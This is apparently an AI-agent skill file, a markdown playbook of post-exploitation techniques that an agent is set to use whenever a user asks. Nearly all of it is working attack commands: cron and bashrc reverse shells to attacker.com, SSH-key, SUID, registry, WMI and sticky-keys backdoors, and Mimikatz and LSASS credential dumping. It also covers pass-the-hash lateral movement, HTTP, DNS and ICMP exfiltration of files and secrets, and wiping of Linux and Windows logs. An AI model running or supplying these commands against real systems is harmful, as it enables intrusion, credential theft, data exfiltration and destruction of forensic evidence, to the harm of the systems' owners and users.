Post Exploitation

---
name: post-exploitation
description: Persistence, lateral movement, exfiltration, tracks.
tags: [post-exploitation, persistence, lateral-movement, exfiltration, mimikatz]
---

# Post-Exploitation

Use when user requests post-exploitation techniques after gaining access: persistence mechanisms, lateral movement, credential dumping, data exfiltration, or covering tracks.

## Trigger Conditions
- Maintaining persistence after compromise
- Lateral movement within network
- Credential harvesting (Mimikatz, etc.)
- Data exfiltration methods
- Log cleaning and anti-forensics
- Privilege maintenance
- Domain enumeration

## Persistence Mechanisms

### Linux Persistence

#### SSH Key Backdoor
```bash
# Add attacker's public key
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# For root persistence
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3... attacker@kali" >> /root/.ssh/authorized_keys
```

#### Cron Job Backdoor
```bash
# Reverse shell every 10 minutes
(crontab -l; echo "*/10 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1") | crontab -

# Hidden cron (root)
echo "*/10 * * * * root bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" >> /etc/crontab

# At reboot
(crontab -l; echo "@reboot /tmp/.hidden_script.sh") | crontab -
```

#### Systemd Service
```bash
# Create service file
cat > /etc/systemd/system/update-service.service <<EOF
[Unit]
Description=System Update Service

[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor
Restart=always
User=root

[Install]
WantedBy=multi-user.target
EOF

# Enable service
systemctl enable update-service
systemctl start update-service
```

#### Bashrc/Profile Backdoor
```bash
# User bashrc
echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1 &" >> ~/.bashrc

# System-wide
echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1 &" >> /etc/profile

# Silent version (background, no output)
echo "nohup bash -i >& /dev/tcp/attacker.com/4444 0>&1 2>/dev/null &" >> ~/.bashrc
```

#### SUID Backdoor
```bash
# Copy bash with SUID
cp /bin/bash /tmp/.hidden_shell
chmod +xs /tmp/.hidden_shell

# Execute later
/tmp/.hidden_shell -p
```

### Windows Persistence

#### Registry Run Keys
```powershell
# HKCU (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

# HKLM (all users, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
```

#### Scheduled Task
```powershell
# Create scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /rl highest /f

# Run every hour
schtasks /create /tn "SystemCheck" /tr "C:\Windows\Temp\backdoor.exe" /sc hourly /rl highest /f
```

#### WMI Event Subscription
```powershell
# Create WMI persistence (survives reboots, hard to detect)
$EventFilterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = "WindowsUpdate"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

$CommandLineConsumerArgs = @{
    Name = "WindowsUpdate"
    CommandLineTemplate = "C:\Windows\Temp\backdoor.exe"
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

$FilterToConsumerArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
```

#### Service Creation
```powershell
# Create backdoor service
sc create "WindowsUpdate" binpath= "C:\Windows\Temp\backdoor.exe" start= auto
sc description "WindowsUpdate" "Windows Update Service"
sc start "WindowsUpdate"
```

#### Sticky Keys Backdoor
```powershell
# Replace sethc.exe (Sticky Keys) with cmd.exe
# Press Shift 5 times at login screen to get cmd
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant administrators:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
```

## Credential Harvesting

### Linux Credentials

#### /etc/shadow Cracking
```bash
# Copy shadow file
cat /etc/shadow

# Crack with John the Ripper
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Crack with Hashcat
hashcat -m 1800 hashes.txt rockyou.txt
```

#### SSH Keys
```bash
# Steal SSH private keys
find /home -name id_rsa 2>/dev/null
find /home -name id_ecdsa 2>/dev/null
find /root -name id_rsa 2>/dev/null
```

### Windows Credentials

#### Mimikatz
```powershell
# Download
wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip

# Run
.\mimikatz.exe

# Dump passwords from memory
sekurlsa::logonpasswords

# Kerberos tickets
sekurlsa::tickets

# SAM database
lsadump::sam

# DCSync (if domain admin)
lsadump::dcsync /user:Administrator /domain:target.com
```

#### SAM/SYSTEM Dump
```powershell
# Copy SAM and SYSTEM from registry
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# Transfer to attacker machine
# Extract hashes with impacket
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

#### LSASS Dump
```powershell
# Procdump (Sysinternals)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Parse with Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
```

## Lateral Movement

### Pass-the-Hash
```bash
# Using Impacket
impacket-psexec -hashes :NTLMHASH administrator@192.168.1.10

# CrackMapExec
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLMHASH

# Evil-WinRM
evil-winrm -i 192.168.1.10 -u administrator -H NTLMHASH
```

### PSExec
```bash
# Impacket PSExec
impacket-psexec administrator:password@192.168.1.10

# Sysinternals PSExec
psexec.exe \\192.168.1.10 -u administrator -p password cmd.exe
```

### WinRM
```powershell
# Enable WinRM on target (if admin)
Enable-PSRemoting -Force

# Connect with Evil-WinRM
evil-winrm -i 192.168.1.10 -u administrator -p password
```

## Data Exfiltration

### HTTP Exfiltration
```bash
# Simple HTTP upload
curl -X POST -F "file=@/etc/passwd" http://attacker.com/upload

# Base64 encoded
curl http://attacker.com/$(cat /etc/passwd | base64)

# Windows
powershell -c "Invoke-WebRequest -Uri 'http://attacker.com/upload' -Method POST -InFile 'C:\secrets.txt'"
```

### DNS Exfiltration
```bash
# Chunk data into DNS queries
cat /etc/passwd | xxd -p | fold -w32 | while read line; do
    dig $line.attacker.com
done
```

### ICMP Exfiltration
```bash
# Encode data in ICMP packets
xxd -p secret.txt | while read line; do
    ping -c 1 -p $line attacker.com
done
```

## Covering Tracks

### Linux Log Cleaning
```bash
# Clear auth logs
echo "" > /var/log/auth.log
echo "" > /var/log/secure

# Clear bash history
history -c
echo "" > ~/.bash_history

# Disable history
unset HISTFILE
export HISTSIZE=0

# Clear system logs
echo "" > /var/log/syslog
echo "" > /var/log/messages

# Clear wtmp/utmp (login records)
echo "" > /var/log/wtmp
echo "" > /var/log/utmp
```

### Windows Log Cleaning
```powershell
# Clear Security log
wevtutil cl Security

# Clear System log
wevtutil cl System

# Clear all logs
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

# PowerShell
Clear-EventLog -LogName Security
Get-EventLog -List | ForEach { Clear-EventLog $_.Log }
```

### Secure File Deletion
```bash
# Shred (Linux)
shred -vfz -n 10 sensitive_file.txt

# Windows
cipher /w:C:\  # Wipes free space

# SDelete (Sysinternals)
sdelete -p 10 sensitive_file.txt
```

## Network Pivoting

### SSH Tunneling
```bash
# Local port forward
ssh -L 8080:target.internal:80 user@jumphost

# Dynamic SOCKS proxy
ssh -D 9050 user@jumphost

# Then configure proxychains
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf
proxychains nmap target.internal

# Remote port forward
ssh -R 4444:localhost:4444 user@attacker.com
```

### Chisel (HTTP Tunneling)
```bash
# Server (attacker)
chisel server -p 8080 --reverse

# Client (victim)
chisel client attacker.com:8080 R:socks

# Use with proxychains
proxychains nmap internal_target
```

## Domain Enumeration

### BloodHound
```powershell
# Collect data with SharpHound
.\SharpHound.exe -c All

# Import into BloodHound GUI
neo4j start
bloodhound

# Find paths to Domain Admin
```

### PowerView
```powershell
# Download
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Enumerate domain
Get-NetDomain
Get-NetDomainController
Get-NetUser
Get-NetComputer

# Find admin access
Find-LocalAdminAccess
```

## Pitfalls
- **Logs**: Clearing all logs is suspicious
- **EDR**: Modern EDR detects Mimikatz, process injection
- **Forensics**: Timestamps, file metadata reveal tampering
- **Network monitoring**: Lateral movement triggers IDS alerts
- **Legal**: Unauthorized persistence is illegal

## Related Skills
- `malware-development`: Create custom backdoors
- `privilege-escalation`: Gain admin/root first
- `network-scanning-recon`: Find lateral movement targets
- `web-exploitation`: Initial access vector